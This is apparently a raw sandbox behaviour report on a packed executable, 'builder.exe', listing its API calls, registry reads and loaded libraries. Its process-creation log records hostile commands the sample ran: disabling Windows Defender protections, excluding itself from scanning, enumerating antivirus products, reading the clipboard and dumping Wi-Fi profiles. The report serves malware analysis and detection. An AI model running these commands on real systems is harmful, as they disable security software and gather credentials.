940000000a00000000000000ab3f00000200000000000000f09847e4f87f0000000100000000000000010000000000000000000000000000e80f62def87f000001000000000000000f3661def87f00000000000000000000e80f62def87f00004000000000000000086ccf5a8a0000000100000000000000ff3761def87f000000000000000000000000000000000000f00f62de (UID: 00000000-00004936) "powershell.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f0000020000000000730079007300740065006d00330032005c00770069006e0064006f007700730070006f007700650072007300680065006c006c005c00760031002e0030005c0070006f007700650072007300680065006c006c002e006500780065000000540200004080a4b1540200008080a4b1540200000600000692f2000050aaa2b1 (UID: 00000000-00007588)31:T50b,Found reference to API "FileTimeToSystemTime" (Indicator: "FileTimeToSystemTime"; File: "builder.exe") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; File: "builder.exe") Found reference to API "SystemTimeToFileTime" (Indicator: "SystemTimeToFileTime"; File: "builder.exe") Found reference to API "FileTimeToLocalFileTime" (Indicator: "FileTimeToLocalFileTime"; File: "builder.exe") Found reference to API "GetFileTime" (Indicator: "GetFileTime"; File: "builder.exe") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00001004.00000000.176645.C9861000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00001732.00000000.176002.D9E30000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00002000.00000001.177576.1388A000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00002500.00000000.176826.C0162000.00000002.mdmp") Found reference to API "FileTimeToSystemTime" (Indicator: "FileTimeToSystemTime"; Source: "00000000-00002500.00000000.176826.C0162000.00000002.mdmp")32:T40e,Found reference to API "GetVersionExW" (Indicator: "GetVersionExW"; File: "builder.exe") Found reference to API "GetVersionExW" (Indicator: "GetVersion"; File: "builder.exe") Found reference to API "VerSetConditionMask" (Indicator: "VerSetConditionMask"; Source: "00000000-00002000.00000001.177576.1388A000.00000002.mdmp") Found reference to API "VerifyVersionInfoW" (Indicator: "VerifyVersionInfo"; Source: "00000000-00002000.00000001.177576.1388A000.00000002.mdmp") Found reference to API "GetVersionExW" (Indicator: "GetVersionExW"; Source: "00000000-00002000.00000001.177576.1388A000.00000002.mdmp") Found reference to API "GetVersionExW" (Indicator: "GetVersion"; Source: "00000000-00002000.00000001.177576.1388A000.00000002.mdmp") Found reference to API "VerSetConditionMask" (Indicator: "VerSetConditionMask"; Source: "00000000-00002500.00000000.176826.C0162000.00000002.mdmp") Found reference to API "RtlVerifyVersionInfo" (Indicator: "VerifyVersionInfo"; Source: "00000000-00002500.00000000.176826.C0162000.00000002.mdmp")33:Tebd,"builder.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI50282\base_library.zip" at 00000000-00007276-00000C17-911096346 "builder.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI50282\base_library.zip" at 00000000-00007276-00000C17-911096877 "builder.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI50282\base_library.zip" at 00000000-00007276-00000C17-911099423 "builder.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI50282\base_library.zip" at 00000000-00007276-00000C17-911100253 "builder.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI50282\base_library.zip" at 00000000-00007276-00000C17-911100948 "builder.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI50282\base_library.zip" at 00000000-00007276-00000C17-911102532 "builder.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI50282\base_library.zip" at 00000000-00007276-00000C17-911104300 "builder.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI50282\base_library.zip" at 00000000-00007276-00000C17-911104828 "builder.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI50282\base_library.zip" at 00000000-00007276-00000C17-911105681 "builder.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI50282\base_library.zip" at 00000000-00007276-00000C17-911106914 "builder.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI50282\base_library.zip" at 00000000-00007276-00000C17-911107597 "builder.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI50282\base_library.zip" at 00000000-00007276-00000C17-911108667 "builder.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI50282\base_library.zip" at 00000000-00007276-00000C17-911109364 "builder.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI50282\base_library.zip" at 00000000-00007276-00000C17-911110562 "builder.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI50282\base_library.zip" at 00000000-00007276-00000C17-911111386 "builder.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI50282\base_library.zip" at 00000000-00007276-00000C17-911112080 "builder.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI50282\base_library.zip" at 00000000-00007276-00000C17-911113342 "builder.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI50282\base_library.zip" at 00000000-00007276-00000C17-911116614 "builder.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI50282\base_library.zip" at 00000000-00007276-00000C17-911118010 "builder.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI50282\base_library.zip" at 00000000-00007276-00000C17-911119021 "builder.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI50282\base_library.zip" at 00000000-00007276-00000C17-911119842 "builder.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI50282\base_library.zip" at 00000000-00007276-00000C17-911120830 "builder.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI50282\base_library.zip" at 00000000-00007276-00000C17-911122707 "builder.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI50282\base_library.zip" at 00000000-00007276-00000C17-911125457 "builder.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Temp\_MEI50282\base_library.zip" at 00000000-00007276-00000C17-91112643834:T4d0,"builder.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\109F1CAED645BB78B3EA2B94C0697C740733031C"; Key: "BLOB") "builder.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\83DA05A9886F7658BE73ACF0A4930C0F99B92F01"; Key: "BLOB") "builder.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\D559A586669B08F46A30A133F8A9ED3D038E2EA8"; Key: "BLOB") "builder.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\FEE449EE0E3965A5246F000E87FDE2A065FD89D4"; Key: "BLOB") "builder.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS\A377D1B1C0538833035211F4083D00FECC414DAB"; Key: "BLOB") "builder.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\043E4AD5D7CD1251BED7D5DEB038CDA7ED1481B7"; Key: "BLOB") "builder.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\104C63D2546B8021DD105E9FBA5A8D78169F6B32"; Key: "BLOB") "builder.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\247106A405B288A46E70A0262717162D0903E734"; Key: "BLOB") "builder.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\27AC9369FAF25207BB2627CEFACCBE4EF9C319B8"; Key: "BLOB")35:T9f0,"builder.exe" called "CreateProcessW" with parameter ""C:\builder.exe"" - (UID: 00000000-00005028) "builder.exe" called "CreateProcessW" with parameter "%WINDIR%\system32\cmd.exe /c "net session"" - (UID: 00000000-00007276) "builder.exe" called "CreateProcessW" with parameter "%WINDIR%\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\builder.exe'"" - (UID: 00000000-00007276) "builder.exe" called "CreateProcessW" with parameter "%WINDIR%\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -" - (UID: 00000000-00007276), "builder.exe" called "CreateProcessW" with parameter "%WINDIR%\system32\cmd.exe /c "tasklist /FO LIST"" - (UID: 00000000-00007276), "builder.exe" called "CreateProcessW" with parameter "%WINDIR%\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"" - (UID: 00000000-00007276), "builder.exe" called "CreateProcessW" with parameter "%WINDIR%\system32\cmd.exe /c "powershell Get-Clipboard"" - (UID: 00000000-00007276), "builder.exe" called "CreateProcessW" with parameter "%WINDIR%\system32\cmd.exe /c "tree /A /F"" - (UID: 00000000-00007276), "builder.exe" called "CreateProcessW" with parameter "%WINDIR%\system32\cmd.exe /c "netsh wlan show profile"" - (UID: 00000000-00007276), "builder.exe" called "CreateProcessW" with parameter "%WINDIR%\system32\cmd.exe /c "systeminfo"" - (UID: 00000000-00007276), "builder.exe" called "CreateProcessW" with parameter "%WINDIR%\system32\cmd.exe /c "Camera.exe /devlist"" - (UID: 00000000-00007276), "cmd.exe" called "CreateProcessW" with parameter "net session" - (UID: 00000000-00000744), "cmd.exe" called "CreateProcessW" with parameter "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true" - (UID: 00000000-00006876), "cmd.exe" called "CreateProcessW" with parameter "powershell -Command Add-MpPreference -ExclusionPath 'C:\builder.exe'" - (UID: 00000000-00006844), "cmd.exe" called "CreateProcessW" with parameter "tasklist /FO LIST" - (UID: 00000000-00004496), "cmd.exe" called "CreateProcessW" with parameter "tasklist /FO LIST" - (UID: 00000000-00005472), "cmd.exe" called "CreateProcessW" with parameter "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName" - (UID: 00000000-00006228), "cmd.exe" called "CreateProcessW" with parameter "powershell Get-Clipboard" - (UID: 00000000-00006260)36:T9a3e,"builder.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00005028) "builder.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00005028) "builder.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00005028) "builder.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00007276) "builder.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00007276) "builder.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00007276) "builder.exe" called "LoadLibrary" with a parameter KERNEL32.DLL (UID: 00000000-00007276) "builder.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00007276) "builder.exe" called "LoadLibrary" with a parameter api-ms-win-core-path-l1-1-0.dll (UID: 00000000-00007276) "builder.exe" called "LoadLibrary" with a parameter api-ms-win-crt-conio-l1-1-0.dll (UID: 00000000-00007276) "builder.exe" called "LoadLibrary" with a parameter api-ms-win-crt-convert-l1-1-0.dll (UID: 00000000-00007276) "builder.exe" called "LoadLibrary" with a parameter api-ms-win-crt-environment-l1-1-0.dll (UID: 00000000-00007276) "builder.exe" called "LoadLibrary" with a parameter api-ms-win-crt-filesystem-l1-1-0.dll (UID: 00000000-00007276) "builder.exe" called "LoadLibrary" with a parameter api-ms-win-crt-heap-l1-1-0.dll (UID: 00000000-00007276) "builder.exe" called "LoadLibrary" with a parameter api-ms-win-crt-locale-l1-1-0.dll (UID: 00000000-00007276) "builder.exe" called "LoadLibrary" with a parameter api-ms-win-crt-math-l1-1-0.dll (UID: 00000000-00007276) "builder.exe" called "LoadLibrary" with a parameter api-ms-win-crt-process-l1-1-0.dll (UID: 00000000-00007276) "builder.exe" called "LoadLibrary" with a parameter api-ms-win-crt-runtime-l1-1-0.dll (UID: 00000000-00007276) "builder.exe" called "LoadLibrary" with a parameter api-ms-win-crt-stdio-l1-1-0.dll (UID: 00000000-00007276) "builder.exe" called "LoadLibrary" with a parameter api-ms-win-crt-string-l1-1-0.dll (UID: 00000000-00007276) "builder.exe" called "LoadLibrary" with a parameter api-ms-win-crt-time-l1-1-0.dll (UID: 00000000-00007276) "builder.exe" called "LoadLibrary" with a parameter VCRUNTIME140.dll (UID: 00000000-00007276) "builder.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00007276) "builder.exe" called "LoadLibrary" with a parameter WS2_32.dll (UID: 00000000-00007276) "builder.exe" called "LoadLibrary" with a parameter %TEMP%\_MEI50282\python310.dll (UID: 00000000-00007276) "builder.exe" called "LoadLibrary" with a parameter %TEMP%\_MEI50282\python3 (UID: 00000000-00007276) "builder.exe" called "LoadLibrary" with a parameter python3 (UID: 00000000-00007276) "builder.exe" called "LoadLibrary" with a parameter python310.dll (UID: 00000000-00007276) "builder.exe" called "LoadLibrary" with a parameter %TEMP%\_MEI50282\tinyaes.cp310-win_amd64.pyd (UID: 00000000-00007276) "builder.exe" called "LoadLibrary" with a parameter libffi-7.dll (UID: 00000000-00007276) "builder.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00007276) "builder.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00007276) "builder.exe" called "LoadLibrary" with a parameter %TEMP%\_MEI50282\_ctypes.pyd (UID: 00000000-00007276) "builder.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00007276) "builder.exe" called "LoadLibrary" with a parameter %TEMP%\_MEI50282\_lzma.pyd (UID: 00000000-00007276) "builder.exe" called "LoadLibrary" with a parameter %TEMP%\_MEI50282\_bz2.pyd (UID: 00000000-00007276) "builder.exe" called "LoadLibrary" with a parameter api-ms-win-crt-utility-l1-1-0.dll (UID: 00000000-00007276) "builder.exe" called "LoadLibrary" with a parameter sqlite3.dll (UID: 00000000-00007276) "builder.exe" called "LoadLibrary" with a parameter %TEMP%\_MEI50282\_sqlite3.pyd (UID: 00000000-00007276) "builder.exe" called "LoadLibrary" with a parameter IPHLPAPI.DLL (UID: 00000000-00007276) "builder.exe" called "LoadLibrary" with a parameter %TEMP%\_MEI50282\_socket.pyd (UID: 00000000-00007276) "builder.exe" called "LoadLibrary" with a parameter %TEMP%\_MEI50282\select.pyd (UID: 00000000-00007276) "builder.exe" called "LoadLibrary" with a parameter bcrypt.dll (UID: 00000000-00007276) "builder.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00007276) "builder.exe" called "LoadLibrary" with a parameter libcrypto-1_1.dll (UID: 00000000-00007276) "builder.exe" called "LoadLibrary" with a parameter CRYPT32.dll (UID: 00000000-00007276) "builder.exe" called "LoadLibrary" with a parameter libssl-1_1.dll (UID: 00000000-00007276) "builder.exe" called "LoadLibrary" with a parameter %TEMP%\_MEI50282\_ssl.pyd (UID: 00000000-00007276) "builder.exe" called "LoadLibrary" with a parameter %TEMP%\_MEI50282\_hashlib.pyd (UID: 00000000-00007276) "builder.exe" called "LoadLibrary" with a parameter %TEMP%\_MEI50282\_queue.pyd (UID: 00000000-00007276) "builder.exe" called "LoadLibrary" with a parameter user32 (UID: 00000000-00007276) "builder.exe" called "LoadLibrary" with a parameter %TEMP%\_MEI50282\unicodedata.pyd (UID: 00000000-00007276) "builder.exe" called "LoadLibrary" with a parameter Kernel32 (UID: 00000000-00007276) "tasklist.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\Winsta.dll (UID: 00000000-00004020) "WMIC.exe" called "LoadLibrary" with a parameter amsi.dll (UID: 00000000-00006748) "WMIC.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\version.dll (UID: 00000000-00006748) "WMIC.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00006748) "WMIC.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00006748) "WMIC.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00006748) "WMIC.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00006748) "tasklist.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\Winsta.dll (UID: 00000000-00003884) "tasklist.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\Winsta.dll (UID: 00000000-00007892) "powershell.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00001004) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00001004) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00001004) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00001004) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll (UID: 00000000-00001004) "powershell.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00001004) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00001004) "powershell.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00001004) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clr.dll (UID: 00000000-00001004) "powershell.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00001004) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-quirks-l1-1-0.dll (UID: 00000000-00001004) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll (UID: 00000000-00001004) "powershell.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00001004) "powershell.exe" called "LoadLibrary" with a parameter ntdll (UID: 00000000-00001004) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\combase.dll (UID: 00000000-00001004) "powershell.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00001004) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\fe2524177eb3088c77be666722039f52\mscorlib.ni.dll (UID: 00000000-00001004) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll (UID: 00000000-00001004) "powershell.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00001004) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00001004) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00001004) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll (UID: 00000000-00001004) "powershell.exe" called "LoadLibrary" with a parameter oleaut32.dll (UID: 00000000-00001004) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System\e43dd9c73ab5615e461bf5109c3facd6\System.ni.dll (UID: 00000000-00001004) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\0d59b0e237d7519417de10cd84bda4e7\System.Core.ni.dll (UID: 00000000-00001004) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Pb378ec07#\b5ba37e1558ced178a99011a1d659b52\Microsoft.PowerShell.ConsoleH (UID: 00000000-00001004) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll (UID: 00000000-00001004) "powershell.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00001004) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\6da01910c256231d1c50ad0aacee5941\System.Management.Automation. (UID: 00000000-00001004) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll (UID: 00000000-00001004) "powershell.exe" called "LoadLibrary" with a parameter combase.dll (UID: 00000000-00001004) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00001004) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00001004) "powershell.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00001004) "powershell.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00001004) "powershell.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00001004) "powershell.exe" called "LoadLibrary" with a parameter version.dll (UID: 00000000-00001004) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll (UID: 00000000-00001004) "powershell.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00001004) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll (UID: 00000000-00001004) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll (UID: 00000000-00001004) "powershell.exe" called "LoadLibrary" with a parameter wintrust.dll (UID: 00000000-00001004) "powershell.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00001004) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll (UID: 00000000-00001004) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en-US\mscorrc.dll (UID: 00000000-00001004) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en\mscorrc.dll (UID: 00000000-00001004) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll (UID: 00000000-00001004) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll (UID: 00000000-00001004) "powershell.exe" called "LoadLibrary" with a parameter amsi.dll (UID: 00000000-00001004) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\version.dll (UID: 00000000-00001004) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll (UID: 00000000-00001004) "powershell.exe" called "LoadLibrary" with a parameter crypt32.dll (UID: 00000000-00001004) "powershell.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00001004) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll (UID: 00000000-00001004) "powershell.exe" called "LoadLibrary" with a parameter CRYPT32.dll (UID: 00000000-00001004) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Mf49f6405#\7b1f35fb0c2d6955ce5af2bd372c65f2\Microsoft.Management.Infrastr (UID: 00000000-00001004) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Management\b221af81285c1305324612e6dc9c88ff\System.Management.ni.dll (UID: 00000000-00001004) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Dired13b18a9#\8ad4c0af5b3d51a0f3a4dac0d44d85d4\System.DirectoryServices.ni.d (UID: 00000000-00001004) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Xml\5ee35debfc22f727e70e4479ddcbc045\System.Xml.ni.dll (UID: 00000000-00001004) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Numerics\86cfd69ce1261baf4740e7606cade014\System.Numerics.ni.dll (UID: 00000000-00001004) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Data\7bed49c46de9295a8453db205c60a028\System.Data.ni.dll (UID: 00000000-00001004) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll (UID: 00000000-00001004) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\en-US\tzres.dll.mui (UID: 00000000-00001004) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-xstate-l2-1-0.dll (UID: 00000000-00001004) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll (UID: 00000000-00001004) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.P6f792626#\7ff5199e757cb8af9ad949453f698d09\Microsoft.PowerShell.Security (UID: 00000000-00001004) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Transactions\604272b0faec2e09d53d38e03bc89c6c\System.Transactions.ni.dll (UID: 00000000-00001004) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Configuration\4beb1eeca20b27d4bd1bb9880f03cc2a\System.Configuration.ni.dll (UID: 00000000-00001004) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll (UID: 00000000-00001004) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll (UID: 00000000-00001004) "powershell.exe" called "LoadLibrary" with a parameter secur32.dll (UID: 00000000-00001004) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\shlwapi.dll (UID: 00000000-00001004) "powershell.exe" called "LoadLibrary" with a parameter shlwapi.dll (UID: 00000000-00001004) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wldp.dll (UID: 00000000-00001004) "powershell.exe" called "LoadLibrary" with a parameter wldp.dll (UID: 00000000-00001004) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\platform\4.12.17007.18022-0\MPCLIENT.DLL (UID: 00000000-00001004) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\platform\4.12.17007.18022-0\MsMpLics.dll (UID: 00000000-00001004) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\kernel32.dll (UID: 00000000-00001004) "powershell.exe" called "LoadLibrary" with a parameter USERENV.dll (UID: 00000000-00001004) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advapi32.dll (UID: 00000000-00001004) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00001004) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00001004) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll (UID: 00000000-00001004) "powershell.exe" called "LoadLibrary" with a parameter bcrypt.dll (UID: 00000000-00001004) "powershell.exe" called "LoadLibrary" with a parameter oleaut32 (UID: 00000000-00001004) "powershell.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00002000) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00002000) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00002000) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00002000) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll (UID: 00000000-00002000) "powershell.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00002000) "powershell.exe" called "LoadLibrary" with a parameter 